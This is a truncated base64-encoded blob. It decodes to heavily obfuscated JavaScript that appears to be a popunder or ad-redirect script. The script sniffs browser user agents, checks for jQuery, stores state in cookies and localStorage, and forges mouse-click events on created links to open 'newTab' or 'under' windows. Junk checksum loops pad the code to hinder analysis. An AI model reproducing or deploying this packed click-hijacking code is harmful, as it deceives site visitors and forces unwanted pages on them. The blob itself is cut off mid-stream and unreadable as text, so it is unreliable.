1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1h